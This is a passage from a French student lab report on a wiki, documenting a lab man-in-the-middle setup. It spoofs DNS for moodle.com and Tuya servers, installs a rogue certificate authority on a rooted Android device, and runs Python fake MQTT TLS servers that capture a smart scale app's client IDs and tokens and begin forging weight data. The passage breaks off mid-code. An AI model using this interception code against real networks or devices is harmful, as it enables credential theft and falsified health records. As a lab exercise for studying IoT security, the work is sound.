 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, nous allons tenter d'envoyer un poids à l'application depuis notre serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
&lt;br /&gt;
On tente donc d'envoyer en clair le poids vers l'application de Nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
